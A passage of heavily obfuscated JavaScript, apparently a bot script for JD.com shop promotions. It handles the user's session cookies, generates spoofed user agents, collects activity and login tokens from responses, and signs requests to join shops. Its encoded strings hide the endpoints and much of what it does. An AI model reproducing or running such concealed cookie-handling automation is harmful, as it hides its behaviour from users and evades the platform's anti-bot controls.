_0x358c4b<_0x44b10d;},'\x47\x68\x4a\x44\x52':function(_0x2a79a3,_0x52f936){return _0x2a79a3*_0x52f936;},'\x7a\x47\x58\x74\x44':_0x5704('‮412','\x31\x55\x72\x4e'),'\x75\x44\x7a\x53\x61':_0x5704('‮413','\x50\x68\x29\x54'),'\x6f\x51\x64\x76\x4c':_0x5704('‫414','\x53\x75\x56\x74'),'\x62\x4e\x55\x56\x66':_0x5704('‫415','\x4d\x4c\x33\x50'),'\x51\x75\x49\x52\x51':_0x5704('‫416','\x6c\x76\x69\x5e'),'\x41\x44\x46\x70\x48':_0x5704('‮417','\x6c\x76\x69\x5e'),'\x6e\x7a\x4d\x7a\x6d':function(_0x26049d,_0x5e6a0d){return _0x26049d>_0x5e6a0d;},'\x64\x6a\x56\x6b\x6c':_0x5704('‮418','\x75\x59\x49\x48'),'\x48\x5a\x58\x6f\x51':function(_0x54a625,_0x5d23b5){return _0x54a625===_0x5d23b5;},'\x45\x45\x67\x5a\x6b':_0x5704('‮419','\x28\x5b\x49\x52'),'\x69\x73\x6c\x4f\x43':_0x5704('‮41a','\x2a\x57\x2a\x42'),'\x6b\x4d\x4e\x67\x73':_0x5704('‮41b','\x23\x68\x26\x31'),'\x57\x4f\x46\x63\x4a':_0x5704('‫41c','\x52\x71\x45\x70'),'\x6e\x76\x64\x6f\x69':function(_0x3d6746,_0x3e09cb){return _0x3d6746&&_0x3e09cb;},'\x72\x52\x4d\x6d\x7a':function(_0x559ab9,_0x1984d3){return _0x559ab9+_0x1984d3;},'\x47\x61\x6b\x63\x6f':_0x5704('‮41d','\x77\x35\x30\x47')};let _0x111b70={'Accept':_0x436656[_0x5704('‫41e','\x4f\x69\x30\x6f')],'Accept-Encoding':_0x436656[_0x5704('‮41f','\x5a\x63\x59\x33')],'Accept-Language':_0x436656[_0x5704('‫420','\x2a\x5d\x57\x49')],'Connection':_0x436656[_0x5704('‮421','\x75\x59\x49\x48')],'Content-Type':_0x436656[_0x5704('‫422','\x2a\x5d\x57\x49')],'Cookie':cookie,'User-Agent':$['\x55\x41'],'X-Requested-With':_0x436656[_0x5704('‫423','\x31\x55\x72\x4e')]};if(_0x436656[_0x5704('‮424','\x53\x75\x56\x74')](_0x2f6187[_0x5704('‮425','\x32\x70\x28\x76')](_0x436656[_0x5704('‫426','\x49\x78\x66\x34')]),-0x1)){if(_0x436656[_0x5704('‫427','\x67\x70\x73\x4c')](_0x436656[_0x5704('‮428','\x5b\x24\x6d\x62')],_0x436656[_0x5704('‫429','\x50\x68\x29\x54')])){e=_0x436656[_0x5704('‮42a','\x36\x4d\x6f\x42')](e,0x20);let _0x28e421=_0x436656[_0x5704('‫42b','\x28\x5b\x49\x52')],_0x157ec0=_0x28e421[_0x5704('‮42c','\x76\x46\x4e\x39')],_0x3287d9='';for(i=0x0;_0x436656[_0x5704('‫42d','\x63\x59\x45\x24')](i,e);i++)_0x3287d9+=_0x28e421[_0x5704('‮42e','\x36\x4d\x6f\x42')](Math[_0x5704('‮42f','\x2a\x57\x2a\x42')](_0x436656[_0x5704('‮430','\x23\x68\x26\x31')](Math[_0x5704('‫431','\x5b\x24\x6d\x62')](),_0x157ec0)));return _0x3287d9;}else{_0x111b70[_0x436656[_0x5704('‫432','\x2a\x5d\x57\x49')]]=_0x5704('‮1e5','\x2a\x46\x21\x69')+$[_0x5704('‫433','\x50\x68\x29\x54')]+_0x5704('‫434','\x6c\x76\x69\x5e')+$[_0x5704('‮435','\x63\x59\x45\x24')];_0x111b70[_0x436656[_0x5704('‫436','\x6e\x68\x69\x76')]]=''+(_0x436656[_0x5704('‮437','\x51\x58\x6a\x30')](lz_jdpin_token_cookie,lz_jdpin_token_cookie)||'')+($[_0x5704('‮438','\x53\x75\x56\x74')]&&_0x436656[_0x5704('‫439','\x49\x78\x66\x34')](_0x436656[_0x5704('‫43a','\x76\x46\x4e\x39')](_0x436656[_0x5704('‮43b','\x63\x59\x45\x24')],$[_0x5704('‮322','\x52\x71\x45\x70')]),'\x3b')||'')+activityCookie;}}return{'\x75\x72\x6c':_0x2f6187,'\x6d\x65\x74\x68\x6f\x64':_0x578a28,'\x68\x65\x61\x64\x65\x72\x73':_0x111b70,'\x62\x6f\x64\x79':_0x3edd22,'\x74\x69\x6d\x65\x6f\x75\x74':0x7530};}function getCk(){var _0x53f31d={'\x48\x71\x46\x71\x57':function(_0x33215e,_0x140533){return _0x33215e>_0x140533;},'\x55\x41\x69\x71\x78':function(_0xe9601e,_0xe63db5){return _0xe9601e!==_0xe63db5;},'\x66\x42\x77\x4e\x62':_0x5704('‫43c','\x6c\x76\x69\x5e'),'\x68\x47\x55\x4f\x6e':_0x5704('‫43d','\x21\x50\x40\x79'),'\x43\x51\x4d\x6a\x6f':function(_0x4603bc,_0x44a48b){return _0x4603bc===_0x44a48b;},'\x4f\x73\x6d\x51\x6a':_0x5704('‫43e','\x75\x59\x49\x48'),'\x51\x62\x5a\x55\x51':_0x5704('‫43f','\x21\x50\x40\x79'),'\x71\x42\x58\x67\x59':function(_0x23141a,_0x7397b9){return _0x23141a!=_0x7397b9;},'\x67\x73\x76\x46\x4e':_0x5704('‮440','\x72\x28\x6f\x59'),'\x65\x70\x4c\x65\x57':function(_0x496e33,_0x1a96ae){return _0x496e33==_0x1a96ae;},'\x70\x5a\x67\x72\x6b':_0x5704('‮441','\x2a\x46\x21\x69'),'\x4a\x66\x77\x55\x68':_0x5704('‮442','\x36\x4d\x6f\x42'),'\x45\x49\x6c\x73\x6e':_0x5704('‫1ac','\x31\x55\x72\x4e'),'\x66\x78\x6f\x42\x6c':_0x5704('‮443','\x68\x70\x5b\x44'),'\x70\x73\x51\x46\x56':function(_0xd373ad,_0x3c7a71){return _0xd373ad(_0x3c7a71);},'\x4d\x79\x48\x6e\x43':function(_0x27019b){return _0x27019b();},'\x52\x41\x48\x4e\x4a':_0x5704('‫444','\x57\x71\x4f\x63'),'\x55\x53\x54\x6c\x42':_0x5704('‮445','\x72\x28\x6f\x59'),'\x7a\x78\x58\x77\x77':_0x5704('‮446','\x6e\x62\x78\x33'),'\x42\x50\x53\x51\x6a':_0x5704('‮447','\x68\x70\x5b\x44'),'\x54\x44\x43\x4d\x57':_0x5704('‮448','\x63\x59\x45\x24'),'\x52\x75\x57\x4d\x41':_0x5704('‫449','\x64\x28\x50\x70'),'\x58\x47\x4d\x6d\x49':_0x5704('‮44a','\x4d\x4c\x33\x50')};return new Promise(_0xda96b5=>{var _0x521c4c={'\x75\x52\x56\x43\x74':function(_0x42f45c,_0x2007b3){return _0x53f31d[_0x5704('‮44b','\x70\x46\x28\x68')](_0x42f45c,_0x2007b3);},'\x68\x4c\x68\x71\x71':function(_0x22c5bf,_0x4b220d){return _0x53f31d[_0x5704('‫44c','\x2a\x57\x2a\x42')](_0x22c5bf,_0x4b220d);},'\x56\x7a\x49\x53\x61':_0x53f31d[_0x5704('‫44d','\x64\x28\x50\x70')],'\x6c\x79\x6d\x66\x6c':_0x53f31d[_0x5704('‮44e','\x48\x4b\x35\x4b')],'\x54\x45\x47\x45\x4b':function(_0x3db091,_0x458c85){return _0x53f31d[_0x5704('‮44f','\x43\x26\x57\x4a')](_0x3db091,_0x458c85);},'\x54\x42\x7a\x4d\x56':_0x53f31d[_0x5704('‫450','\x70\x46\x28\x68')],'\x78\x6a\x51\x6c\x54':_0x53f31d[_0x5704('‫451','\x63\x59\x45\x24')],'\x46\x71\x47\x41\x68':function(_0x15932c,_0x3c8711){return _0x53f31d[_0x5704('‮452','\x70\x46\x28\x68')](_0x15932c,_0x3c8711);},'\x65\x56\x68\x4d\x51':_0x53f31d[_0x5704('‫453','\x67\x70\x73\x4c')],'\x72\x51\x52\x4b\x54':function(_0x1438b1,_0x132343){return _0x53f31d[_0x5704('‫454','\x5a\x45\x65\x69')](_0x1438b1,_0x132343);},'\x6b\x41\x70\x6d\x58':function(_0x59b277,_0x24d149){return _0x53f31d[_0x5704('‫455','\x51\x58\x6a\x30')](_0x59b277,_0x24d149);},'\x52\x4d\x6d\x50\x4a':_0x53f31d[_0x5704('‫456','\x68\x44\x38\x78')],'\x62\x47\x58\x74\x66':_0x53f31d[_0x5704('‫457','\x67\x70\x73\x4c')],'\x4e\x71\x49\x55\x74':_0x53f31d[_0x5704('‫458','\x70\x46\x28\x68')],'\x45\x6a\x59\x72\x7a':_0x53f31d[_0x5704('‫459','\x6e\x68\x69\x76')],'\x59\x46\x58\x50\x46':function(_0x37a539,_0x4e2bfc){return _0x53f31d[_0x5704('‮45a','\x5a\x45\x65\x69')](_0x37a539,_0x4e2bfc);},'\x49\x67\x54\x51\x63':function(_0x5ab2e3){return _0x53f31d[_0x5704('‮45b','\x42\x73\x40\x76')](_0x5ab2e3);}};if(_0x53f31d[_0x5704('‫45c','\x4f\x69\x30\x6f')](_0x53f31d[_0x5704('‮45d','\x52\x71\x45\x70')],_0x53f31d[_0x5704('‫45e','\x28\x5b\x49\x52')])){let _0x8397c8={'\x75\x72\x6c':_0x5704('‮45f','\x53\x4b\x54\x65'),'\x68\x65\x61\x64\x65\x72\x73':{'Accept':_0x53f31d[_0x5704('‫460','\x28\x4e\x49\x6e')],'Accept-Encoding':_0x53f31d[_0x5704('‮461','\x26\x43\x6c\x5a')],'Accept-Language':_0x53f31d[_0x5704('‫462','\x4d\x4c\x33\x50')],'Connection':_0x53f31d[_0x5704('‫463','\x4f\x69\x30\x6f')],'Content-Type':_0x53f31d[_0x5704('‮464','\x52\x71\x45\x70')],'Cookie':cookie,'Referer':_0x5704('‫31','\x70\x46\x28\x68')+$[_0x5704('‮465','\x44\x6b\x4c\x48')]+_0x5704('‫1e7','\x58\x28\x7a\x75')+$[_0x5704('‫466','\x28\x5b\x49\x52')],'User-Agent':$['\x55\x41']},'\x74\x69\x6d\x65\x6f\x75\x74':0x7530};$[_0x5704('‮467','\x63\x59\x45\x24')](_0x8397c8,async(_0x3601c9,_0x12d73f,_0x3c4408)=>{var _0x54e6ad={'\x67\x79\x4d\x6c\x79':function(_0x5a0ea1,_0x316b31){return _0x521c4c[_0x5704('‮468','\x70\x21\x54\x48')](_0x5a0ea1,_0x316b31);}};if(_0x521c4c[_0x5704('‮469','\x53\x75\x56\x74')](_0x521c4c[_0x5704('‮46a','\x75\x59\x49\x48')],_0x521c4c[_0x5704('‫46b','\x2a\x57\x2a\x42')])){try{if(_0x3601c9){if(_0x521c4c[_0x5704('‫46c','\x5d\x51\x40\x40')](_0x521c4c[_0x5704('‫46d','\x75\x49\x4b\x36')],_0x521c4c[_0x5704('‫46e','\x75\x49\x4b\x36')])){if(_0x54e6ad[_0x5704('‮46f','\x58\x28\x7a\x75')](res[_0x5704('‫470','\x58\x28\x7a\x75')][_0x5704('‫471','\x43\x26\x57\x4a')]('\u706b\u7206'),-0x1)){$[_0x5704('‫472','\x50\x68\x29\x54')]=!![];}}else{if(_0x12d73f&&_0x521c4c[_0x5704('‮473','\x76\x46\x4e\x39')](typeof _0x12d73f[_0x5704('‫261','\x52\x71\x45\x70')],_0x521c4c[_0x5704('‮474','\x67\x70\x73\x4c')])){if(_0x521c4c[_0x5704('‫475','\x28\x54\x5b\x43')](_0x12d73f[_0x5704('‮476','\x78\x7a\x36\x69')],0x1ed)){if(_0x521c4c[_0x5704('‮477','\x70\x46\x28\x68')](_0x521c4c[_0x5704('‫478','\x53\x4b\x54\x65')],_0x521c4c[_0x5704('‮479','\x6c\x76\x69\x5e')])){console[_0x5704('‫3ee','\x6e\x68\x69\x76')](_0x521c4c[_0x5704('‫47a','\x67\x70\x73\x4c')]);$[_0x5704('‮47b','\x2a\x57\x2a\x42')]=!![];}else{console[_0x5704('‮1a2','\x78\x7a\x36\x69')](_0x3c4408);}}}console[_0x5704('‫3a0','\x2a\x46\x21\x69')](''+$[_0x5704('‫47c','\x5d\x51\x40\x40')](_0x3601c9));console[_0x5704('‫cf','\x33\x42\x34\x6c')]($[_0x5704('‫47d','\x6e\x62\x78\x33')]+_0x5704('‮47e','\x78\x7a\x36\x69'));}}else{let _0x5ea78a=_0x3c4408[_0x5704('‮47f','\x2a\x5d\x57\x49')](/(活动已经结束)/)&&_0x3c4408[_0x5704('‮480','\x76\x46\x4e\x39')](/(活动已经结束)/)[0x1]||'';if(_0x5ea78a){$[_0x5704('‫481','\x57\x71\x4f\x63')]=!![];console[_0x5704('‫b3','\x70\x21\x54\x48')](_0x521c4c[_0x5704('‫482','\x53\x4b\x54\x65')]);}_0x521c4c[_0x5704('‮483','\x70\x46\x28\x68')](setActivityCookie,_0x12d73f);}}catch(_0x4c7ca9){$[_0x5704('‮484','\x2a\x46\x21\x69')](_0x4c7ca9,_0x12d73f);}finally{_0x521c4c[_0x5704('‫485','\x53\x75\x56\x74')](_0xda96b5);}}else{console[_0x5704('‫c6','\x49\x78\x66\x34')](e,_0x12d73f);}});}else{console[_0x5704('‫486','\x21\x50\x40\x79')](res[_0x5704('‫487','\x36\x4d\x6f\x42')]);$[_0x5704('‮488','\x78\x7a\x36\x69')]=res[_0x5704('‫489','\x56\x6a\x53\x71')];if(res[_0x5704('‫48a','\x36\x4d\x6f\x42')]&&res[_0x5704('‫48b','\x68\x70\x5b\x44')][_0x5704('‮48c','\x4f\x69\x30\x6f')]){for(let _0x1e970d of res[_0x5704('‮48d','\x57\x71\x4f\x63')][_0x5704('‫48e','\x32\x70\x28\x76')][_0x5704('‫48f','\x64\x28\x50\x70')]){console[_0x5704('‫cf','\x33\x42\x34\x6c')](_0x5704('‮490','\x63\x59\x45\x24')+_0x1e970d[_0x5704('‮491','\x43\x26\x57\x4a')]+_0x1e970d[_0x5704('‫492','\x4d\x4c\x33\x50')]+_0x1e970d[_0x5704('‮493','\x57\x4e\x63\x28')]);}}console[_0x5704('‫494','\x5d\x51\x40\x40')]('');}});}function setActivityCookie(_0x1bd080){var _0x457d5a={'\x61\x64\x71\x55\x74':function(_0x697664){return _0x697664();},'\x70\x4f\x52\x6d\x75':_0x5704('‮495','\x5a\x63\x59\x33'),'\x59\x53\x65\x69\x61':_0x5704('‫496','\x5a\x45\x65\x69'),'\x48\x75\x46\x78\x56':_0x5704('‫497','\x52\x71\x45\x70'),'\x53\x75\x77\x53\x58':function(_0x6f816a,_0x1b13bc){return _0x6f816a!==_0x1b13bc;},'\x4a\x6b\x64\x56\x69':_0x5704('‮498','\x4a\x74\x73\x31'),'\x46\x76\x67\x59\x64':_0x5704('‮499','\x2a\x57\x2a\x42'),'\x75\x52\x6d\x69\x68':function(_0xd2348c,_0xe2e19a){return _0xd2348c!=_0xe2e19a;},'\x50\x5a\x44\x6b\x6c':_0x5704('‫49a','\x6c\x76\x69\x5e'),'\x50\x74\x6a\x4a\x5a':function(_0x39d13a,_0x574213){return _0x39d13a>_0x574213;},'\x4a\x4c\x58\x5a\x72':_0x5704('‫49b','\x75\x59\x49\x48'),'\x5a\x59\x4a\x52\x62':function(_0x420dca,_0x3627db){return _0x420dca+_0x3627db;},'\x44\x69\x51\x73\x69':_0x5704('‫49c','\x42\x73\x40\x76'),'\x7a\x65\x4e\x54\x6a':_0x5704('‮49d','\x26\x43\x6c\x5a'),'\x77\x4c\x44\x6e\x78':function(_0x124e19,_0x8033){return _0x124e19&&_0x8033;}};let _0x37e08f='';let _0x2f0314='';let _0x5bf66f='';let _0x23ce96=_0x1bd080&&_0x1bd080[_0x457d5a[_0x5704('‫49e','\x2a\x57\x2a\x42')]]&&(_0x1bd080[_0x457d5a[_0x5704('‮49f','\x58\x28\x7a\x75')]][_0x457d5a[_0x5704('‫4a0','\x58\x28\x7a\x75')]]||_0x1bd080[_0x457d5a[_0x5704('‫4a1','\x76\x46\x4e\x39')]][_0x457d5a[_0x5704('‫4a2','\x4a\x74\x73\x31')]]||'')||'';let _0x98eafd='';if(_0x23ce96){if(_0x457d5a[_0x5704('‮4a3','\x5d\x51\x40\x40')](_0x457d5a[_0x5704('‫4a4','\x2a\x57\x2a\x42')],_0x457d5a[_0x5704('‫4a5','\x5a\x45\x65\x69')])){if(_0x457d5a[_0x5704('‮4a6','\x76\x46\x4e\x39')](typeof _0x23ce96,_0x457d5a[_0x5704('‮4a7','\x57\x4e\x63\x28')])){_0x98eafd=_0x23ce96[_0x5704('‫4a8','\x64\x28\x50\x70')]('\x2c');}else _0x98eafd=_0x23ce96;for(let _0x2c0564 of _0x98eafd){let _0x3035a6=_0x2c0564[_0x5704('‮4a9','\x33\x42\x34\x6c')]('\x3b')[0x0][_0x5704('‮4aa','\x28\x5b\x49\x52')]();if(_0x3035a6[_0x5704('‫4ab','\x5b\x24\x6d\x62')]('\x3d')[0x1]){if(_0x457d5a[_0x5704('‮4ac','\x5a\x45\x65\x69')](_0x3035a6[_0x5704('‫4ad','\x63\x59\x45\x24')](_0x457d5a[_0x5704('‫4ae','\x75\x49\x4b\x36')]),-0x1))_0x37e08f=_0x457d5a[_0x5704('‮4af','\x67\x70\x73\x4c')](_0x3035a6[_0x5704('‫4b0','\x36\x4d\x6f\x42')](/ /g,''),'\x3b');if(_0x457d5a[_0x5704('‫4b1','\x2a\x5d\x57\x49')](_0x3035a6[_0x5704('‫4b2','\x42\x73\x40\x76')](_0x457d5a[_0x5704('‮4b3','\x63\x59\x45\x24')]),-0x1))_0x2f0314=_0x457d5a[_0x5704('‫4b4','\x21\x50\x40\x79')](_0x3035a6[_0x5704('‫4b5','\x5d\x51\x40\x40')](/ /g,''),'\x3b');if(_0x457d5a[_0x5704('‫4b6','\x4f\x69\x30\x6f')](_0x3035a6[_0x5704('‮4b7','\x58\x28\x7a\x75')](_0x457d5a[_0x5704('‮4b8','\x51\x58\x6a\x30')]),-0x1))_0x5bf66f=_0x457d5a[_0x5704('‮4b9','\x70\x21\x54\x48')](_0x457d5a[_0x5704('‮4ba','\x4d\x4c\x33\x50')]('',_0x3035a6[_0x5704('‮4bb','\x2a\x57\x2a\x42')](/ /g,'')),'\x3b');}}}else{_0x457d5a[_0x5704('‮4bc','\x6e\x68\x69\x76')](resolve);}}if(_0x457d5a[_0x5704('‮4bd','\x28\x4e\x49\x6e')](_0x37e08f,_0x2f0314))activityCookie=_0x37e08f+'\x20'+_0x2f0314;if(_0x5bf66f)lz_jdpin_token_cookie=_0x5bf66f;}async function getUA(){var _0x3360c6={'\x57\x51\x6f\x77\x74':function(_0x5edf5c,_0x2e8938){return _0x5edf5c(_0x2e8938);}};$['\x55\x41']=_0x5704('‫4be','\x2a\x46\x21\x69')+_0x3360c6[_0x5704('‮4bf','\x57\x71\x4f\x63')](randomString,0x28)+_0x5704('‮4c0','\x5d\x51\x40\x40');}function randomString(_0x280194){var _0x16898d={'\x51\x42\x48\x50\x52':function(_0x1ddc1f,_0x4d3c3d){return _0x1ddc1f||_0x4d3c3d;},'\x4c\x75\x41\x4f\x61':_0x5704('‮4c1','\x58\x28\x7a\x75'),'\x41\x7a\x7a\x70\x70':function(_0x4596f9,_0x4527e1){return _0x4596f9<_0x4527e1;},'\x4b\x76\x6a\x75\x72':function(_0x120832,_0x2011a8){return _0x120832*_0x2011a8;}};_0x280194=_0x16898d[_0x5704('‫4c2','\x5a\x45\x65\x69')](_0x280194,0x20);let _0x4d1e38=_0x16898d[_0x5704('‫4c3','\x72\x28\x6f\x59')],_0x816e57=_0x4d1e38[_0x5704('‮4c4','\x6c\x76\x69\x5e')],_0x29b4ab='';for(i=0x0;_0x16898d[_0x5704('‮4c5','\x49\x78\x66\x34')](i,_0x280194);i++)_0x29b4ab+=_0x4d1e38[_0x5704('‫4c6','\x43\x26\x57\x4a')](Math[_0x5704('‫4c7','\x57\x71\x4f\x63')](_0x16898d[_0x5704('‫4c8','\x42\x73\x40\x76')](Math[_0x5704('‫431','\x5b\x24\x6d\x62')](),_0x816e57)));return _0x29b4ab;}function jsonParse(_0xed87c9){var _0x2bf86a={'\x49\x55\x48\x47\x53':function(_0x7c8b7a,_0x519454){return _0x7c8b7a===_0x519454;},'\x54\x79\x5a\x4c\x4d':function(_0x438725,_0x58f1e3){return _0x438725==_0x58f1e3;},'\x43\x6e\x7a\x79\x4a':_0x5704('‫4c9','\x5a\x63\x59\x33'),'\x6e\x4d\x4f\x49\x6b':function(_0x226791,_0x119a78){return _0x226791!==_0x119a78;},'\x55\x4e\x4a\x6c\x51':_0x5704('‮4ca','\x52\x71\x45\x70'),'\x46\x7a\x54\x7a\x61':_0x5704('‮4cb','\x70\x46\x28\x68')};if(_0x2bf86a[_0x5704('‫4cc','\x42\x73\x40\x76')](typeof _0xed87c9,_0x2bf86a[_0x5704('‫4cd','\x56\x6a\x53\x71')])){if(_0x2bf86a[_0x5704('‫4ce','\x32\x70\x28\x76')](_0x2bf86a[_0x5704('‫4cf','\x77\x35\x30\x47')],_0x2bf86a[_0x5704('‫4d0','\x51\x58\x6a\x30')])){if(_0x2bf86a[_0x5704('‮4d1','\x76\x46\x4e\x39')](res[_0x5704('‮3ad','\x2a\x5d\x57\x49')][_0x5704('‫4d2','\x48\x4b\x35\x4b')][_0x5704('‫4d3','\x4a\x74\x73\x31')],!![])){console[_0x5704('‫b5','\x2a\x5d\x57\x49')](_0x5704('‫4d4','\x63\x59\x45\x24')+res[_0x5704('‮345','\x63\x59\x45\x24')][_0x5704('‮4d5','\x28\x4e\x49\x6e')][_0x5704('‫4d6','\x53\x75\x56\x74')]);}else{console[_0x5704('‫e','\x52\x71\x45\x70')](_0x5704('‫4d7','\x68\x70\x5b\x44'));}}else{try{return JSON[_0x5704('‫4d8','\x31\x55\x72\x4e')](_0xed87c9);}catch(_0x26bc88){console[_0x5704('‫b3','\x70\x21\x54\x48')](_0x26bc88);$[_0x5704('‮4d9','\x76\x46\x4e\x39')]($[_0x5704('‫4da','\x76\x46\x4e\x39')],'',_0x2bf86a[_0x5704('‫4db','\x64\x28\x50\x70')]);return[];}}}}async function joinShop(){var _0x44a23f={'\x57\x66\x6d\x50\x58':_0x5704('‫4dc','\x4f\x69\x30\x6f'),'\x58\x62\x47\x63\x44':_0x5704('‮4dd','\x53\x4b\x54\x65'),'\x61\x58\x64\x45\x58':_0x5704('‫4de','\x68\x44\x38\x78'),'\x48\x47\x71\x6f\x43':_0x5704('‫4df','\x57\x4e\x63\x28'),'\x6b\x4b\x42\x72\x4c':_0x5704('‫4e0','\x6e\x62\x78\x33'),'\x7a\x6c\x6f\x58\x44':_0x5704('‫4e1','\x31\x55\x72\x4e'),'\x65\x51\x63\x49\x77':function(_0x1bb1df,_0x2951e8){return _0x1bb1df>_0x2951e8;},'\x78\x6f\x69\x62\x65':_0x5704('‮4e2','\x28\x54\x5b\x43'),'\x63\x61\x4a\x5a\x45':_0x5704('‫4e3','\x2a\x46\x21\x69'),'\x79\x51\x51\x62\x51':_0x5704('‫4e4','\x28\x5b\x49\x52'),'\x45\x56\x4c\x45\x56':function(_0x38a6aa,_0x1b4ea0){return _0x38a6aa&&_0x1b4ea0;},'\x72\x4a\x4b\x4a\x78':function(_0xae16e0,_0x28322a){return _0xae16e0+_0x28322a;},'\x4f\x47\x6f\x71\x48':_0x5704('‮41d','\x77\x35\x30\x47'),'\x5a\x6b\x77\x79\x78':function(_0x1c3bb0,_0xefe0cb,_0x2d81f2){return _0x1c3bb0(_0xefe0cb,_0x2d81f2);},'\x69\x70\x6d\x57\x69':function(_0x46cfe3,_0x1d1076){return _0x46cfe3!==_0x1d1076;},'\x65\x4b\x75\x56\x63':_0x5704('‫4e5','\x78\x7a\x36\x69'),'\x58\x4a\x64\x4b\x4e':function(_0x3b73ab,_0x111326){return _0x3b73ab==_0x111326;},'\x70\x69\x51\x6b\x43':_0x5704('‮4e6','\x72\x28\x6f\x59'),'\x76\x49\x63\x4a\x6d':function(_0x585eb1,_0x35bce1){return _0x585eb1===_0x35bce1;},'\x6e\x51\x51\x5a\x41':function(_0x27d05a,_0x4002f3){return _0x27d05a!==_0x4002f3;},'\x65\x55\x4e\x49\x75':_0x5704('‫4e7','\x75\x49\x4b\x36'),'\x63\x77\x45\x58\x6d':_0x5704('‫4e8','\x28\x4e\x49\x6e'),'\x47\x70\x56\x71\x6c':function(_0x22063e,_0x2a569c){return _0x22063e==_0x2a569c;},'\x44\x6d\x7a\x63\x75':function(_0x1b66c2,_0xc57ac6){return _0x1b66c2===_0xc57ac6;},'\x6d\x4a\x6c\x55\x5a':_0x5704('‮4e9','\x49\x78\x66\x34'),'\x71\x74\x55\x62\x58':_0x5704('‫4ea','\x6e\x62\x78\x33'),'\x75\x4c\x63\x47\x41':function(_0x35117c,_0x324d42){return _0x35117c===_0x324d42;},'\x76\x44\x78\x66\x53':_0x5704('‮4eb','\x6e\x68\x69\x76'),'\x73\x76\x45\x72\x63':function(_0x42572f){return _0x42572f();},'\x52\x68\x55\x45\x55':_0x5704('‮4ec','\x51\x58\x6a\x30'),'\x65\x77\x61\x75\x49':_0x5704('‮4ed','\x6c\x76\x69\x5e'),'\x73\x7a\x57\x58\x6b':_0x5704('‫4ee','\x57\x71\x4f\x63'),'\x79\x4f\x4e\x64\x7a':_0x5704('‫4ef','\x75\x49\x4b\x36'),'\x72\x7a\x4c\x47\x4b':_0x5704('‮4f0','\x63\x59\x45\x24'),'\x75\x75\x71\x4b\x41':_0x5704('‮4f1','\x23\x68\x26\x31'),'\x56\x50\x4f\x45\x6d':function(_0x16afde,_0x5697be){return _0x16afde(_0x5697be);},'\x4e\x53\x63\x45\x4a':_0x5704('‫4f2','\x57\x4e\x63\x28'),'\x56\x52\x75\x51\x62':_0x5704('‮4f3','\x42\x73\x40\x76'),'\x6c\x53\x78\x52\x69':_0x5704('‮4f4','\x68\x44\x38\x78'),'\x6d\x6e\x6f\x44\x4c':_0x5704('‮4f5','\x67\x70\x73\x4c')};if(!$[_0x5704('‮4f6','\x44\x6b\x4c\x48')])return;return new Promise(async _0xbdcfce=>{var _0x556b80={'\x6e\x46\x4d\x67\x75':_0x44a23f[_0x5704('‮4f7','\x49\x78\x66\x34')]};$[_0x5704('‮4f8','\x6c\x76\x69\x5e')]=_0x44a23f[_0x5704('‮4f9','\x52\x71\x45\x70')];let _0x4dd920='';if($[_0x5704('‮4fa','\x77\x35\x30\x47')])_0x4dd920=_0x5704('‮4fb','\x76\x46\x4e\x39')+$[_0x5704('‫4fc','\x6e\x68\x69\x76')];const _0x5ef14e=_0x5704('‮4fd','\x51\x58\x6a\x30')+$[_0x5704('‮4fe','\x2a\x5d\x57\x49')]+_0x5704('‮4ff','\x4d\x4c\x33\x50')+$[_0x5704('‫500','\x5a\x45\x65\x69')]+_0x5704('‫501','\x70\x46\x28\x68')+_0x4dd920+_0x5704('‫502','\x42\x73\x40\x76');const _0xd6adf6={'\x61\x70\x70\x69\x64':_0x44a23f[_0x5704('‮503','\x44\x6b\x4c\x48')],'\x66\x75\x6e\x63\x74\x69\x6f\x6e\x49\x64':_0x44a23f[_0x5704('‫504','\x72\x28\x6f\x59')],'\x63\x6c\x69\x65\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e':_0x44a23f[_0x5704('‫505','\x6e\x62\x78\x33')],'\x63\x6c\x69\x65\x6e\x74':'\x48\x35','\x62\x6f\x64\x79':JSON[_0x5704('‮506','\x2a\x5d\x57\x49')](_0x5ef14e)};const _0x4e27ef=await _0x44a23f[_0x5704('‮507','\x6c\x76\x69\x5e')](getH5st,_0x44a23f[_0x5704('‮508','\x57\x4e\x63\x28')],_0xd6adf6);const _0x1cdf2c={'\x75\x72\x6c':_0x5704('‫509','\x2a\x46\x21\x69')+_0x5ef14e+_0x5704('‫50a','\x26\x43\x6c\x5a')+_0x44a23f[_0x5704('‮50b','\x23\x68\x26\x31')](encodeURIComponent,_0x4e27ef),'\x68\x65\x61\x64\x65\x72\x73':{'accept':_0x44a23f[_0x5704('‫50c','\x4f\x69\x30\x6f')],'accept-encoding':_0x44a23f[_0x5704('‫50d','\x78\x7a\x36\x69')],'accept-language':_0x44a23f[_0x5704('‫50e','\x68\x44\x38\x78')],'cookie':cookie,'origin':_0x44a23f[_0x5704('‫50f','\x75\x59\x49\x48')],'user-agent':_0x44a23f[_0x5704('‫510','\x5b\x24\x6d\x62')]}};$[_0x5704('‫511','\x75\x49\x4b\x36')](_0x1cdf2c,async(_0x4d1628,_0x3bb534,_0x60c3fb)=>{var _0xc092ad={'\x71\x5a\x4e\x4d\x61':_0x44a23f[_0x5704('‮512','\x6c\x76\x69\x5e')],'\x66\x44\x48\x66\x52':_0x44a23f[_0x5704('‮513','\x57\x71\x4f\x63')],'\x57\x62\x41\x71\x74':_0x44a23f[_0x5704('‮514','\x70\x46\x28\x68')],'\x70\x75\x6a\x55\x44':_0x44a23f[_0x5704('‫515','\x4d\x4c\x33\x50')],'\x4e\x57\x56\x55\x71':_0x44a23f[_0x5704('‮516','\x70\x46\x28\x68')],'\x57\x4a\x4b\x55\x52':_0x44a23f[_0x5704('‮517','\x70\x46\x28\x68')],'\x54\x47\x4c\x59\x79':function(_0x2ecf21,_0x440648){return _0x44a23f[_0x5704('‮518','\x33\x42\x34\x6c')](_0x2ecf21,_0x440648);},'\x79\x59\x42\x53\x79':_0x44a23f[_0x5704('‫519','\x23\x68\x26\x31')],'\x45\x6d\x77\x51\x71':_0x44a23f[_0x5704('‫51a','\x63\x59\x45\x24')],'\x64\x44\x44\x43\x44':_0x44a23f[_0x5704('‮51b','\x44\x6b\x4c\x48')],'\x41\x71\x51\x45\x51':function(_0x53da23,_0x5ece26){return _0x44a23f[_0x5704('‮51c','\x75\x49\x4b\x36')](_0x53da23,_0x5ece26);},'\x43\x46\x48\x6a\x6d':function(_0x205a4e,_0x11f5fe){return _0x44a23f[_0x5704('‫51d','\x77\x35\x30\x47')](_0x205a4e,_0x11f5fe);},'\x45\x4e\x55\x75\x6d':function(_0x4ca2b9,_0x53e51c){return 